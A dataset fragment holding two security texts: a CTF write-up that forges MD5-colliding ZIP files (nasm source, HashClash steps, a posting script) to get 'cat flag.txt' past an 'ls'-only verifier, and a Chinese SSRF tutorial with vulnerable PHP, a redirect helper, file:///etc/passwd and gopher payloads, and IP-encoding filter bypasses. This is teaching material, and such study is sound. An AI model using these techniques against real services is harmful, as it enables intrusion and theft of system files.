text
stringlengths 100
9.93M
| category
stringclasses 11
values |
|---|---|
# ls
Category: Crypto, 300 Points
## Description
> Boss wanted to give people access to only see the directories list in a filesystem.
>
> Now you can run anything on my OS... so long as it's `ls` (with parameters).
>
> Send the commands in one or more files, then zip that file. I only accept zips, everything else is inefficient.
>
> I'll verify that you aren't playing games, if I see a command that isn't `ls`, I'm not running it.
>
> I don't like redundancy, so I'll save the hash of the zips that were already verified...using the best hash algorithm of them all: **MD5**!
## Solution
It's pretty obvious that we need to create an MD5 collision here: Two zip files, one containing a legal `ls` command and one containing a `cat` command to dump the flag. But, first thing first, let's check that we can communicate with the server:
```console
┌──(user@kali)-[/media/sf_CTFs/checkpoint/ls]
└─$ echo "ls -al" > ls.txt
┌──(user@kali)-[/media/sf_CTFs/checkpoint/ls]
└─$ zip ls.zip ls.txt
adding: ls.txt (stored 0%)
┌──(user@kali)-[/media/sf_CTFs/checkpoint/ls]
└─$ curl -X POST -H "Content-Type: application/zip" https://ls.csa-challenge.com/upload-zip --data-binary @ls.zip -s | python3 -m json.tool
{
"statusCode": 200,
"body": "[\"total 5\\ndrwxr-xr-x 2 root root 57 Aug 19 06:30 .\\ndrwxr-xr-x 1 12569 users 4096 Aug 12 09:59 ..\\n-rwxr-xr-x 1 root root 25 Aug 4 18:56 flag.txt\\n-rwxr-xr-x 1 root root 504 Aug 19 06:30 lambda_function.py\\n\"]"
}
```
We can see `flag.txt` just waiting for us in the current directory, and all that we need to do is `cat` it. MD5 collisions have been achievable for a few years now, so the challenge here isn't to discover a way to perform the collision, but just to follow the super-laconic and unclear instructions of how to do so, as detailed in the bible of MD5/SHA1 hash collisions: [corkami](https://github.com/corkami/collisions#zip).
Due to the structure of ZIP files, creating a zip file collision isn't trivial, but they offer a W/A: Finding a collision for a dual ZIP file, which is crafted to be able to host two different archive files. This dual ZIP file is provided to a tool which knows how to find hash collisions under some constraints: Given the original file, it will produce two files with the same MD5 and *almost* the same prefix. For example, if we provide the tool with `a.bin` as input, it will return `a1.bin` and `a2.bin` such that both files start with the contents of `a.bin` with just a few bits changed, and each file has some unpredictable suffix. The important thing is that the few changed bits are predictable, so one can craft a file where the changed bits are meaningful. In our case, the dual zip file is crafted so that one of the bits will control to which of the two archived files the zip applies for.
For the first stage, we need to take their provided [assembly source](https://github.com/corkami/collisions/blob/master/scripts/zip.asm), which describes the structure of a dual ZIP file, and edit it for our needs:
```assembly
; a nasm source to defines a dual ZIP for MD5 collisions
; build with `nasm -o zip.zip zip.asm`
; Ange Albertini 2018
BITS 32
%include "zip.inc"
;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;
; Replace File 1 and 2 values.
; reminder: incbin "<file>", <start>, <size>
; File 1
%macro file1.name 0
db 'hello.txt'
%endmacro
%macro file1.content 0
%%start:
db 'ls -al', 0ah
file1.compsize equ $ - %%start
%endmacro
file1.compression equ COMP_STORED
file1.decsize equ file1.compsize
file1.CRC32 equ 0xafddb2c5
; File 2
%macro file2.name 0
db 'bye.txt'
%endmacro
%macro file2.content 0
%%start:
db 'cat flag.txt', 0ah
file2.compsize equ $ - %%start
%endmacro
file2.compression equ COMP_STORED
file2.decsize equ file2.compsize
file2.CRC32 equ 0xf5d90d17
;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;
file2:
istruc filerecord
at filerecord.frSignature, db "PK", 3, 4
at filerecord.frVersion, dw 0ah
at filerecord.frCompression, dw file2.compression
at filerecord.frCrc, dd file2.CRC32
at filerecord.frCompressedSize, dd file2.compsize
at filerecord.frUncompressedSize, dd file2.decsize
at filerecord.frFileNameLength, dw lfhname2.len
at filerecord.frExtraFieldLength, dw extra2.len
iend
lfhname2:
file2.name
lfhname2.len equ $ - lfhname2
extra2:
field2:
.id dw 0
.len dw extra2.len - 4
;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;
file1:
istruc filerecord
at filerecord.frSignature, db "PK", 3, 4
at filerecord.frVersion, dw 0ah
at filerecord.frCompression, dw file1.compression
at filerecord.frCrc, dd file1.CRC32
at filerecord.frCompressedSize, dd file1.compsize
at filerecord.frUncompressedSize, dd file1.decsize
at filerecord.frFileNameLength, dw lfhname1.len
at filerecord.frExtraFieldLength, dw extra1.len
iend
lfhname1:
file1.name
lfhname1.len equ $ - lfhname1
extra1:
field1:
.id dw 0
.len dw extra1.len - 4
extra2.len equ $ - extra2
data2:
file2.content
data2.len equ $ - data2
;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;
CD2:
istruc direntry
at direntry.deSignature, db "PK", 1, 2
at direntry.deVersionToExtract, dw 0ah
at direntry.deCrc, dd file2.CRC32
at direntry.deCompressedSize, dd data2.len
at direntry.deUncompressedSize, dd data2.len
at direntry.deFileNameLength, dw cdname2.len
at direntry.deFileCommentLength,dw cdcom2.len
at direntry.deHeaderOffset, dd file2
iend
cdname2:
file2.name
.len equ $ - cdname2
cdcom2:
db 0 ; truncating
extra1.len equ $ - extra1
data1:
file1.content
data1.len equ $ - data1
;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;
CD1:
istruc direntry
at direntry.deSignature, db "PK", 1, 2
at direntry.deVersionToExtract, dw 0ah
at direntry.deCrc, dd file1.CRC32
at direntry.deCompressedSize, dd data1.len
at direntry.deUncompressedSize, dd data1.len
at direntry.deFileNameLength, dw cdname1.len
at direntry.deFileCommentLength,dw cdcom1.len
at direntry.deHeaderOffset, dd file1
iend
cdname1:
file1.name
cdname1.len equ $ - cdname1
cdcom1:
db 0 ; truncating
align 40h, db 0 ; to align EoCD1 for first collision
cdcom1.len equ $ - cdcom1
CD1.len equ $ - CD1
;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;
EoCD1:
istruc endlocator
at endlocator.elSignature, db "PK", 5, 0x06
at endlocator.elEntriesOnDisk, db 1
at endlocator.elEntriesInDirectory, db 1
at endlocator.elDirectorySize, dd CD1.len
at endlocator.elDirectoryOffset, dd CD1
at endlocator.elCommentLength, dw EoCD1com.len
iend
EoCD1com:
db 0 ; truncating
align 4, db 'M' ; UniColl prefix
align 40h, db 0 ; end of first collision block
; second collision block
db 0
align 40h, db 0
cdcom2.len equ $ - cdcom2
CD2.len equ $ - CD2
;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;
EoCD2:
istruc endlocator
at endlocator.elSignature, db "PK", 5, 0x86 ; 0x06/0x86 because of UniColl
at endlocator.elEntriesOnDisk, db 1
at endlocator.elEntriesInDirectory, db 1
at endlocator.elDirectorySize, dd CD2.len
at endlocator.elDirectoryOffset, dd CD2
at endlocator.elCommentLength, dw EoCD2com.len
iend
EoCD2com:
db 0 ; truncating
align 4, db 'M' ; Unicoll prefix
align 40h, db 0 ; end of first collision block
; second collision block
db 0
align 40h, db 0
EoCD2com.len equ $ - EoCD2com
EoCD1com.len equ $ - EoCD1com
```
The only things we need to change here are the contents of the two files (first one changes to `ls -al`, second one changes to `cat flag.txt`) and the matching CRC32 values. We can then build the zip file using `nasm`:
```console
┌──(user@kali)-[/media/sf_CTFs/checkpoint/ls/workspace]
└─$ ls
zip.asm zip.inc
┌──(user@kali)-[/media/sf_CTFs/checkpoint/ls/workspace]
└─$ nasm -o zip.zip zip.asm
┌──(user@kali)-[/media/sf_CTFs/checkpoint/ls/workspace]
└─$ xxd -g 1 zip.zip
00000000: 50 4b 03 04 0a 00 00 00 00 00 00 00 00 00 17 0d PK..............
00000010: d9 f5 0d 00 00 00 0d 00 00 00 07 00 2f 00 62 79 ............/.by
00000020: 65 2e 74 78 74 00 00 2b 00 50 4b 03 04 0a 00 00 e.txt..+.PK.....
00000030: 00 00 00 00 00 00 00 c5 b2 dd af 07 00 00 00 07 ................
00000040: 00 00 00 09 00 47 00 68 65 6c 6c 6f 2e 74 78 74 .....G.hello.txt
00000050: 00 00 43 00 63 61 74 20 66 6c 61 67 2e 74 78 74 ..C.cat flag.txt
00000060: 0a 50 4b 01 02 00 00 0a 00 00 00 00 00 00 00 00 .PK.............
00000070: 00 17 0d d9 f5 0d 00 00 00 0d 00 00 00 07 00 00 ................
00000080: 00 ea 00 00 00 00 00 00 00 00 00 00 00 00 00 62 ...............b
00000090: 79 65 2e 74 78 74 00 6c 73 20 2d 61 6c 0a 50 4b ye.txt.ls -al.PK
000000a0: 01 02 00 00 0a 00 00 00 00 00 00 00 00 00 c5 b2 ................
000000b0: dd af 07 00 00 00 07 00 00 00 09 00 00 00 2b 00 ..............+.
000000c0: 00 00 00 00 00 00 00 00 29 00 00 00 68 65 6c 6c ........)...hell
000000d0: 6f 2e 74 78 74 00 00 00 00 00 00 00 00 00 00 00 o.txt...........
000000e0: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 ................
000000f0: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 ................
00000100: 50 4b 05 06 00 00 00 00 01 00 01 00 62 00 00 00 PK..........b...
00000110: 9e 00 00 00 ea 00 00 4d 00 00 00 00 00 00 00 00 .......M........
00000120: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 ................
00000130: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 ................
00000140: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 ................
00000150: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 ................
00000160: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 ................
00000170: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 ................
00000180: 50 4b 05 86 00 00 00 00 01 00 01 00 1f 01 00 00 PK..............
00000190: 61 00 00 00 6a 00 00 4d 00 00 00 00 00 00 00 00 a...j..M........
000001a0: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 ................
000001b0: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 ................
000001c0: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 ................
000001d0: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 ................
000001e0: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 ................
000001f0: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 ................
┌──(user@kali)-[/media/sf_CTFs/checkpoint/ls/workspace]
└─$ file zip.zip
zip.zip: Zip archive data, at least v1.0 to extract
```
The next thing we need to do is clone [HashClash](https://github.com/cr-marcstevens/hashclash) and edit the UniColl script `scripts/poc_no.sh`. We just have to change the `N=1` to `N=2` as instructed by the *corkami* tutorial:
> Another approach could be to just merge both archives, with their merged layers, and using UniColl - but with N=2, which introduces a difference on the 4th byte - to kill the magic signature of the `End of Central Directory`.
What this does is instruct `poc_no.sh` to run the second PoC out of the following three:
```sh
# Note that positive message bit differences are given with bit indices 1,...,32
# and with -1,...,-32 for a negative bit difference
case $N in
1)
diff="--diffm2 9"
tmid=32
;;
2)
diff="--diffm13 28 --diffm0 32 --diffm6 32"
tmid=32
;;
3)
diff="--diffm6 9 --diffm9 32 --diffm15 32"
tmid=32
tconnect=10
datalower=500000
dataupper=500000
;;
esac
```
`N` essentially controls which bits get changed as part of the collision process. Since the `diff` syntax is a bit unclear, we'll explain: Each PoC finds a collision by changing some bits in the provided prefix.
```sh
case $N in
1)
diff="--diffm2 9" # <-- Bit #8 in 2nd DWORD
tmid=32
;;
2)
diff="--diffm13 28 --diffm0 32 --diffm6 32" # <-- Bit #27 in 13th DWORD, bit #31 in 0th DWORD, bit #31 in 6th DWORD
tmid=32
;;
3)
diff="--diffm6 9 --diffm9 32 --diffm15 32" # <-- Bit #8 in 6th DWORD, bit #31 in 9th DWORD, bit #31 in 15th DWORD
tmid=32
tconnect=10
datalower=500000
dataupper=500000
;;
```
As we can see, `N=2` changes the forth byte (bit #31 in 0th DWORD). The dual ZIP file was crafted so that if that bit is `0`, the zip will point to one file, and if it's `1`, the zip will point to the other file.
Now, we need to edit `zip.zip`:
> This means one could collide two arbitrary ZIP with a single UniColl and 24 bytes of set prefix.
We need to change the byte at offset `0x183` from `86` to `06` and delete everything from `0x198` onwards, to get:
```console
┌──(user@kali)-[/media/sf_CTFs/checkpoint/ls/workspace]
└─$ xxd -g 1 prefix.bin
00000000: 50 4b 03 04 0a 00 00 00 00 00 00 00 00 00 17 0d PK..............
00000010: d9 f5 0d 00 00 00 0d 00 00 00 07 00 2f 00 62 79 ............/.by
00000020: 65 2e 74 78 74 00 00 2b 00 50 4b 03 04 0a 00 00 e.txt..+.PK.....
00000030: 00 00 00 00 00 00 00 c5 b2 dd af 07 00 00 00 07 ................
00000040: 00 00 00 09 00 47 00 68 65 6c 6c 6f 2e 74 78 74 .....G.hello.txt
00000050: 00 00 43 00 63 61 74 20 66 6c 61 67 2e 74 78 74 ..C.cat flag.txt
00000060: 0a 50 4b 01 02 00 00 0a 00 00 00 00 00 00 00 00 .PK.............
00000070: 00 17 0d d9 f5 0d 00 00 00 0d 00 00 00 07 00 00 ................
00000080: 00 ea 00 00 00 00 00 00 00 00 00 00 00 00 00 62 ...............b
00000090: 79 65 2e 74 78 74 00 6c 73 20 2d 61 6c 0a 50 4b ye.txt.ls -al.PK
000000a0: 01 02 00 00 0a 00 00 00 00 00 00 00 00 00 c5 b2 ................
000000b0: dd af 07 00 00 00 07 00 00 00 09 00 00 00 2b 00 ..............+.
000000c0: 00 00 00 00 00 00 00 00 29 00 00 00 68 65 6c 6c ........)...hell
000000d0: 6f 2e 74 78 74 00 00 00 00 00 00 00 00 00 00 00 o.txt...........
000000e0: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 ................
000000f0: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 ................
00000100: 50 4b 05 06 00 00 00 00 01 00 01 00 62 00 00 00 PK..........b...
00000110: 9e 00 00 00 ea 00 00 4d 00 00 00 00 00 00 00 00 .......M........
00000120: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 ................
00000130: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 ................
00000140: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 ................
00000150: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 ................
00000160: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 ................
00000170: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 ................
00000180: 50 4b 05 06 00 00 00 00 01 00 01 00 1f 01 00 00 PK..............
00000190: 61 00 00 00 6a 00 00 4d a...j..M
```
This is what we feed into `unicoll`:
```console
┌──(user@kali)-[~/utils/crypto/hashclash]
└─$ mkdir workspace_zip_clash
┌──(user@kali)-[~/utils/crypto/hashclash]
└─$ cd workspace_zip_clash
┌──(user@kali)-[~/utils/crypto/hashclash/workspace_zip_clash]
└─$ cp /media/sf_CTFs/checkpoint/ls/workspace/prefix.bin .
┌──(user@kali)-[~/utils/crypto/hashclash/workspace_zip_clash]
└─$ ../scripts/poc_no.sh prefix.bin
# ...
Block 1: ./data/coll1_3795903542
e2 25 3a 3c 1a 29 47 08 5f c2 c7 48 7c 46 5e 1c
e3 f1 b0 27 2c e5 22 bc 5a 91 1e 7f 89 f5 e0 e8
81 4c 50 b0 3d ab 4e ab 64 7b a6 22 f3 4f 23 bc
53 4a 3c 7d c0 29 7a a3 9b 3b 53 e4 03 b8 3b f1
Block 2: ./data/coll2_3795903542
e2 25 3a bc 1a 29 47 08 5f c2 c7 48 7c 46 5e 1c
e3 f1 b0 27 2c e5 22 bc 5a 91 1e ff 89 f5 e0 e8
81 4c 50 b0 3d ab 4e ab 64 7b a6 22 f3 4f 23 bc
53 4a 3c 7d c0 29 7a ab 9b 3b 53 e4 03 b8 3b f1
Found collision!
61141afe3fee5057f5dc8a3d678060d0 collision1.bin
61141afe3fee5057f5dc8a3d678060d0 collision2.bin
9b56f26715754e51fc7968dcedf1c09b8445c174 collision1.bin
436971b1051e988f1807a789ab1992ad57204506 collision2.bin
4 -rw-r--r-- 1 user user 512 Sep 11 20:53 collision1.bin
4 -rw-r--r-- 1 user user 512 Sep 11 20:53 collision2.bin
```
Let's inspect the files we got:
```console
┌──(user@kali)-[~/utils/crypto/hashclash/workspace_zip_clash]
└─$ cp collision*.bin /media/sf_CTFs/checkpoint/ls/workspace
┌──(user@kali)-[/media/sf_CTFs/checkpoint/ls/workspace]
└─$ md5sum collision*.bin
61141afe3fee5057f5dc8a3d678060d0 collision1.bin
61141afe3fee5057f5dc8a3d678060d0 collision2.bin
┌──(user@kali)-[/media/sf_CTFs/checkpoint/ls/workspace]
└─$ file collision*.bin
collision1.bin: Zip archive data, at least v1.0 to extract
collision2.bin: Zip archive data, at least v1.0 to extract
┌──(user@kali)-[/media/sf_CTFs/checkpoint/ls/workspace]
└─$ unzip collision1.bin
Archive: collision1.bin
extracting: bye.txt
┌──(user@kali)-[/media/sf_CTFs/checkpoint/ls/workspace]
└─$ cat bye.txt
cat flag.txt
┌──(user@kali)-[/media/sf_CTFs/checkpoint/ls/workspace]
└─$ mv collision1.bin zip_cat_flag.zip
┌──(user@kali)-[/media/sf_CTFs/checkpoint/ls/workspace]
└─$ unzip collision2.bin
Archive: collision2.bin
extracting: hello.txt
┌──(user@kali)-[/media/sf_CTFs/checkpoint/ls/workspace]
└─$ cat hello.txt
ls -al
┌──(user@kali)-[/media/sf_CTFs/checkpoint/ls/workspace]
└─$ mv collision2.bin zip_ls.zip
```
The magic happens at offset `0x183`:
```console
┌──(user@kali)-[/media/sf_CTFs/checkpoint/ls/workspace]
└─$ diff -y <(xxd -g 1 zip_ls.zip) <(xxd -g 1 zip_cat_flag.zip)
00000000: 50 4b 03 04 0a 00 00 00 00 00 00 00 00 00 17 0d PK 00000000: 50 4b 03 04 0a 00 00 00 00 00 00 00 00 00 17 0d PK
00000010: d9 f5 0d 00 00 00 0d 00 00 00 07 00 2f 00 62 79 .. 00000010: d9 f5 0d 00 00 00 0d 00 00 00 07 00 2f 00 62 79 ..
00000020: 65 2e 74 78 74 00 00 2b 00 50 4b 03 04 0a 00 00 e. 00000020: 65 2e 74 78 74 00 00 2b 00 50 4b 03 04 0a 00 00 e.
000000b0: dd af 07 00 00 00 07 00 00 00 09 00 00 00 2b 00 .. 000000b0: dd af 07 00 00 00 07 00 00 00 09 00 00 00 2b 00 ..
000000c0: 00 00 00 00 00 00 00 00 29 00 00 00 68 65 6c 6c .. 000000c0: 00 00 00 00 00 00 00 00 29 00 00 00 68 65 6c 6c ..
000000d0: 6f 2e 74 78 74 00 00 00 00 00 00 00 00 00 00 00 o. 000000d0: 6f 2e 74 78 74 00 00 00 00 00 00 00 00 00 00 00 o.
000000e0: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 .. 000000e0: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 ..
000000f0: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 .. 000000f0: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 ..
00000100: 50 4b 05 06 00 00 00 00 01 00 01 00 62 00 00 00 PK 00000100: 50 4b 05 06 00 00 00 00 01 00 01 00 62 00 00 00 PK
00000110: 9e 00 00 00 ea 00 00 4d 00 00 00 00 00 00 00 00 .. 00000110: 9e 00 00 00 ea 00 00 4d 00 00 00 00 00 00 00 00 ..
00000120: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 .. 00000120: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 ..
00000130: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 .. 00000130: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 ..
00000140: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 .. 00000140: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 ..
00000150: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 .. 00000150: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 ..
00000160: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 .. 00000160: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 ..
00000170: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 .. 00000170: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 ..
00000180: 50 4b 05 86 00 00 00 00 01 00 01 00 1f 01 00 00 PK | 00000180: 50 4b 05 06 00 00 00 00 01 00 01 00 1f 01 00 00 PK
00000190: 61 00 00 00 6a 00 00 4d 8c a2 7a c7 fc 21 4c 26 a. | 00000190: 61 00 00 00 6a 00 00 4d 8c a2 7a 47 fc 21 4c 26 a.
000001a0: 25 10 d6 ce a3 d3 e7 fb a5 88 67 35 41 b9 4f 2c %. 000001a0: 25 10 d6 ce a3 d3 e7 fb a5 88 67 35 41 b9 4f 2c %.
000001b0: 83 7a c6 9a ba d7 75 75 c4 a6 87 21 2b 5c a2 c2 .z | 000001b0: 83 7a c6 9a ba d7 75 6d c4 a6 87 21 2b 5c a2 c2 .z
000001c0: e2 25 3a 3c 1a 29 47 08 5f c2 c7 48 7c 46 5e 1c .% | 000001c0: e2 25 3a bc 1a 29 47 08 5f c2 c7 48 7c 46 5e 1c .%
000001d0: e3 f1 b0 27 2c e5 22 bc 5a 91 1e 7f 89 f5 e0 e8 .. | 000001d0: e3 f1 b0 27 2c e5 22 bc 5a 91 1e ff 89 f5 e0 e8 ..
000001e0: 81 4c 50 b0 3d ab 4e ab 64 7b a6 22 f3 4f 23 bc .L 000001e0: 81 4c 50 b0 3d ab 4e ab 64 7b a6 22 f3 4f 23 bc .L
000001f0: 53 4a 3c 7d c0 29 7a a3 9b 3b 53 e4 03 b8 3b f1 SJ | 000001f0: 53 4a 3c 7d c0 29 7a ab 9b 3b 53 e4 03 b8 3b f1 SJ
```
The right-hand side has a valid `End of Central Directory` signature starting at `0x180` (`.P .K 05 06`), so when the zip parser scans the file (from bottom up) it meets the valid signature and uses it to jump to the file it points to: `bye.txt`. However, on the left-hand side the offset at `0x180` contains an invalid signature (`.P .K 05 86`). So, the parser skips the entry that points to `bye.txt` and instead arrives to the valid entry at `0x100` - the one that points to `hello.txt`.
All that's left is to send the files:
```python
import requests
import json
for file in ["zip_ls.zip", "zip_cat_flag.zip"]:
print(f"Sending {file}\n")
with open(file,'rb') as payload:
headers = {'content-type': 'application/zip'}
r = requests.post('https://ls.csa-challenge.com/upload-zip',
data=payload, headers=headers)
j = r.json()
print(json.loads(j["body"])[0])
```
Output:
```console
┌──(user@kali)-[/media/sf_CTFs/checkpoint/ls/workspace]
└─$ python3 post.py
Sending zip_ls.zip
total 5
drwxr-xr-x 2 root root 57 Aug 19 06:30 .
drwxr-xr-x 1 12569 users 4096 Aug 12 09:59 ..
-rwxr-xr-x 1 root root 25 Aug 4 18:56 flag.txt
-rwxr-xr-x 1 root root 504 Aug 19 06:30 lambda_function.py
Sending zip_cat_flag.zip
CSA{K1LL_MD5_A1r34dy_p1z}
```
|
sec-knowleage
|
# SSRF
## SSRF 简介
SSRF,Server-Side Request Forgery,服务端请求伪造,是一种由攻击者构造形成由服务器端发起请求的一个漏洞。一般情况下,SSRF 攻击的目标是从外网无法访问的内部系统。
漏洞形成的原因大多是因为服务端提供了从其他服务器应用获取数据的功能且没有对目标地址作过滤和限制。
攻击者可以利用 SSRF 实现的攻击主要有 5 种:
1. 可以对外网、服务器所在内网、本地进行端口扫描,获取一些服务的 banner 信息
2. 攻击运行在内网或本地的应用程序(比如溢出)
3. 对内网 WEB 应用进行指纹识别,通过访问默认文件实现
4. 攻击内外网的 web 应用,主要是使用 GET 参数就可以实现的攻击(比如 Struts2,sqli 等)
5. 利用 `file` 协议读取本地文件等
## SSRF 漏洞出现的场景
- 能够对外发起网络请求的地方,就可能存在 SSRF 漏洞
- 从远程服务器请求资源(Upload from URL,Import & Export RSS Feed)
- 数据库内置功能(Oracle、MongoDB、MSSQL、Postgres、CouchDB)
- Webmail 收取其他邮箱邮件(POP3、IMAP、SMTP)
- 文件处理、编码处理、属性信息处理(ffmpeg、ImageMagic、DOCX、PDF、XML)
## 常用的后端实现
1. `file_get_contents`
```php
<?php
if (isset($_POST['url'])) {
$content = file_get_contents($_POST['url']);
$filename ='./images/'.rand().';img1.jpg';
file_put_contents($filename, $content);
echo $_POST['url'];
$img = "<img src=\"".$filename."\"/>";
}
echo $img;
?>
```
这段代码使用 `file_get_contents` 函数从用户指定的 URL 获取图片。然后把它用一个随机文件名保存在硬盘上,并展示给用户。
2. `fsockopen()`
```php
<?php
function GetFile($host,$port,$link) {
$fp = fsockopen($host, intval($port), $errno, $errstr, 30);
if (!$fp) {
echo "$errstr (error number $errno) \n";
} else {
$out = "GET $link HTTP/1.1\r\n";
$out .= "Host: $host\r\n";
$out .= "Connection: Close\r\n\r\n";
$out .= "\r\n";
fwrite($fp, $out);
$contents='';
while (!feof($fp)) {
$contents.= fgets($fp, 1024);
}
fclose($fp);
return $contents;
}
}
?>
```
这段代码使用 `fsockopen` 函数实现获取用户指定 URL 的数据(文件或者 HTML)。这个函数会使用 socket 跟服务器建立 TCP 连接,传输原始数据。
3. `curl_exec()`
```php
<?php
if (isset($_POST['url'])) {
$link = $_POST['url'];
$curlobj = curl_init();
curl_setopt($curlobj, CURLOPT_POST, 0);
curl_setopt($curlobj,CURLOPT_URL,$link);
curl_setopt($curlobj, CURLOPT_RETURNTRANSFER, 1);
$result=curl_exec($curlobj);
curl_close($curlobj);
$filename = './curled/'.rand().'.txt';
file_put_contents($filename, $result);
echo $result;
}
?>
```
使用 `curl` 获取数据。
## 阻碍 SSRF 漏洞利用的场景
- 服务器开启 OpenSSL 无法进行交互利用
- 服务端需要鉴权(Cookies & User:Pass)不能完美利用
- 限制请求的端口为http常用的端口,比如,80,443,8080,8090。
- 禁用不需要的协议。仅仅允许http和https请求。可以防止类似于file:///,gopher://,ftp:// 等引起的问题。
- 统一错误信息,避免用户可以根据错误信息来判断远端服务器的端口状态。
## 利用 SSRF 进行端口扫描
根据服务器的返回信息进行判断,大部分应用不会判别端口,可通过返回的 banner 信息判断端口状态。
后端实现
```php
<?php
if (isset($_POST['url'])) {
$link = $_POST['url'];
$filename = './curled/'.rand().'txt';
$curlobj = curl_init($link);
$fp = fopen($filename,"w");
curl_setopt($curlobj, CURLOPT_FILE, $fp);
curl_setopt($curlobj, CURLOPT_HEADER, 0);
curl_exec($curlobj);
curl_close($curlobj);
fclose($fp);
$fp = fopen($filename,"r");
$result = fread($fp, filesize($filename));
fclose($fp);
echo $result;
}
?>
```
构造一个前端页面
```html
<html>
<body>
<form name="px" method="post" action="http://127.0.0.1/ss.php">
<input type="text" name="url" value="">
<input type="submit" name="commit" value="submit">
</form>
<script></script>
</body>
</html>
```
请求非 HTTP 的端口可以返回 banner 信息。
或可利用 302 跳转绕过 HTTP 协议的限制。
辅助脚本
```php
<?php
$ip = $_GET['ip'];
$port = $_GET['port'];
$scheme = $_GET['s'];
$data = $_GET['data'];
header("Location: $scheme://$ip:$port/$data");
?>
```
[腾讯某处 SSRF 漏洞(非常好的利用点)附利用脚本](https://_thorns.gitbooks.io/sec/content/teng_xun_mou_chu_ssrf_lou_6d1e28_fei_chang_hao_de_.html)
## 协议利用
- Dict 协议
```
dict://fuzz.wuyun.org:8080/helo:dict
```
- Gopher 协议
```
gopher://fuzz.wuyun.org:8080/gopher
```
- File 协议
```
file:///etc/passwd
```
## 绕过姿势
1. 更改IP地址写法
例如`192.168.0.1`
- 8进制格式:`0300.0250.0.1`
- 16进制格式:`0xC0.0xA8.0.1`
- 10进制整数格式:`3232235521`
- 16进制整数格式:`0xC0A80001`
- 还有一种特殊的省略模式,例如`10.0.0.1`这个IP可以写成`10.1`
2. 利用URL解析问题
在某些情况下,后端程序可能会对访问的URL进行解析,对解析出来的host地址进行过滤。这时候可能会出现对URL参数解析不当,导致可以绕过过滤。
例如:
- `http://www.baidu.com@192.168.0.1/`与`http://192.168.0.1`请求的都是`192.168.0.1`的内容
- 可以指向任意ip的域名`xip.io`:`http://127.0.0.1.xip.io/`==>`http://127.0.0.1/`
- 短地址`http://dwz.cn/11SMa`==>`http://127.0.0.1`
- 利用句号`。`:`127。0。0。1`==>`127.0.0.1`
- 利用Enclosed alphanumerics
```
ⓔⓧⓐⓜⓟⓛⓔ.ⓒⓞⓜ >>> example.com
List:
① ② ③ ④ ⑤ ⑥ ⑦ ⑧ ⑨ ⑩ ⑪ ⑫ ⑬ ⑭ ⑮ ⑯ ⑰ ⑱ ⑲ ⑳
⑴ ⑵ ⑶ ⑷ ⑸ ⑹ ⑺ ⑻ ⑼ ⑽ ⑾ ⑿ ⒀ ⒁ ⒂ ⒃ ⒄ ⒅ ⒆ ⒇
⒈ ⒉ ⒊ ⒋ ⒌ ⒍ ⒎ ⒏ ⒐ ⒑ ⒒ ⒓ ⒔ ⒕ ⒖ ⒗ ⒘ ⒙ ⒚ ⒛
⒜ ⒝ ⒞ ⒟ ⒠ ⒡ ⒢ ⒣ ⒤ ⒥ ⒦ ⒧ ⒨ ⒩ ⒪ ⒫ ⒬ ⒭ ⒮ ⒯ ⒰ ⒱ ⒲ ⒳ ⒴ ⒵
Ⓐ Ⓑ Ⓒ Ⓓ Ⓔ Ⓕ Ⓖ Ⓗ Ⓘ Ⓙ Ⓚ Ⓛ Ⓜ Ⓝ Ⓞ Ⓟ Ⓠ Ⓡ Ⓢ Ⓣ Ⓤ Ⓥ Ⓦ Ⓧ Ⓨ Ⓩ
